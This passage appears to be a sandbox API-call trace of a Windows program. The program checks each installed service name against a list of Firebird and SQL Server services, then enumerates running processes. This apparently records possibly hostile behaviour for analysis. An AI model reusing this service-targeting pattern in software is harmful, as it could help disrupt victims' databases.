	[0163.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0163.149] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0163.149] lstrlenW (lpString="EventSystem") returned 11
	[0163.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0163.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0163.149] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0163.149] lstrlenW (lpString="FontCache") returned 9
	[0163.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0163.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0163.149] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0163.149] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0163.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0163.149] lstrlenW (lpString="gpsvc") returned 5
	[0163.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0163.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0163.150] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0163.150] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0163.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0163.150] lstrlenW (lpString="iphlpsvc") returned 8
	[0163.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0163.150] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0163.150] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0163.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0163.150] lstrlenW (lpString="KeyIso") returned 6
	[0163.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0163.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0163.150] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0163.150] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0163.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0163.150] lstrlenW (lpString="LanmanServer") returned 12
	[0163.150] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.150] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0163.150] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0163.150] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0163.150] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0163.150] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0163.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0163.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0163.151] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0163.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0163.151] lstrlenW (lpString="lfsvc") returned 5
	[0163.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0163.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0163.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0163.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0163.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0163.151] lstrlenW (lpString="lmhosts") returned 7
	[0163.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0163.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0163.151] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0163.151] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0163.151] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0163.151] lstrlenW (lpString="LSM") returned 3
	[0163.151] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0163.151] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0163.151] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0163.152] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0163.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0163.152] lstrlenW (lpString="MpsSvc") returned 6
	[0163.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0163.152] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0163.152] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0163.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0163.152] lstrlenW (lpString="NcbService") returned 10
	[0163.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0163.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0163.152] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0163.152] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0163.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0163.152] lstrlenW (lpString="netprofm") returned 8
	[0163.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0163.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0163.152] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0163.152] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0163.152] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0163.152] lstrlenW (lpString="NgcSvc") returned 6
	[0163.152] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.152] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0163.153] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0163.153] lstrlenW (lpString="NlaSvc") returned 6
	[0163.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0163.153] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0163.153] lstrlenW (lpString="nsi") returned 3
	[0163.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0163.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0163.153] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0163.153] lstrlenW (lpString="PcaSvc") returned 6
	[0163.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0163.153] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0163.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0163.153] lstrlenW (lpString="PlugPlay") returned 8
	[0163.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0163.154] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0163.154] lstrlenW (lpString="Power") returned 5
	[0163.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0163.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0163.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0163.154] lstrlenW (lpString="ProfSvc") returned 7
	[0163.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0163.154] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0163.154] lstrlenW (lpString="RpcEptMapper") returned 12
	[0163.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0163.154] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0163.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0163.154] lstrlenW (lpString="RpcSs") returned 5
	[0163.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0163.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0163.155] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0163.155] lstrlenW (lpString="SamSs") returned 5
	[0163.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0163.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0163.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0163.155] lstrlenW (lpString="Schedule") returned 8
	[0163.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0163.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0163.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0163.155] lstrlenW (lpString="SecurityHealthService") returned 21
	[0163.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0163.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0163.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0163.155] lstrlenW (lpString="SENS") returned 4
	[0163.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0163.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0163.156] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0163.156] lstrlenW (lpString="ShellHWDetection") returned 16
	[0163.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0163.156] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0163.156] lstrlenW (lpString="Spooler") returned 7
	[0163.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0163.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0163.156] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0163.156] lstrlenW (lpString="StateRepository") returned 15
	[0163.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0163.156] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0163.156] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0163.156] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0163.156] lstrlenW (lpString="SysMain") returned 7
	[0163.156] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0163.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0163.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0163.157] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0163.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0163.157] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0163.157] lstrlenW (lpString="Themes") returned 6
	[0163.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0163.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0163.157] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0163.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0163.157] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0163.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0163.158] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0163.158] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0163.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4642fd8 | out: hHeap=0x4f0000) returned 1
	[0163.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x544
	[0163.163] Process32FirstW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0163.164] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0163.165] lstrlenW (lpString="System") returned 6
	[0163.165] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0163.169] lstrlenW (lpString="smss.exe") returned 8
	[0163.169] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.170] lstrlenW (lpString="csrss.exe") returned 9
	[0163.170] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0163.171] lstrlenW (lpString="wininit.exe") returned 11
	[0163.171] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0163.172] lstrlenW (lpString="csrss.exe") returned 9
	[0163.172] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0163.173] lstrlenW (lpString="winlogon.exe") returned 12
	[0163.173] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0163.174] lstrlenW (lpString="services.exe") returned 12
	[0163.174] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0163.175] lstrlenW (lpString="lsass.exe") returned 9
	[0163.175] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.176] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.176] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0163.177] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0163.177] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.181] lstrlenW (lpString="svchost.exe") returned 11
	[0163.181] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.182] lstrlenW (lpString="svchost.exe") returned 11
	[0163.182] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0163.184] lstrlenW (lpString="dwm.exe") returned 7
	[0163.184] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.185] lstrlenW (lpString="svchost.exe") returned 11
	[0163.185] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.317] lstrlenW (lpString="svchost.exe") returned 11
	[0163.317] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.318] lstrlenW (lpString="svchost.exe") returned 11
	[0163.318] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.319] lstrlenW (lpString="svchost.exe") returned 11
	[0163.319] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.320] lstrlenW (lpString="svchost.exe") returned 11
	[0163.321] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.322] lstrlenW (lpString="svchost.exe") returned 11
	[0163.322] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.323] lstrlenW (lpString="svchost.exe") returned 11
	[0163.323] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.324] lstrlenW (lpString="svchost.exe") returned 11
	[0163.324] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.325] lstrlenW (lpString="svchost.exe") returned 11
	[0163.325] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.326] lstrlenW (lpString="svchost.exe") returned 11
	[0163.326] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0163.327] lstrlenW (lpString="spoolsv.exe") returned 11
	[0163.327] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0163.328] lstrlenW (lpString="svchost.exe") returned 11
	[0163.328] Process32NextW (in: hSnapshot=0x544, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0163.329] lstrlenW (lpString="audiodg.exe") returned 11
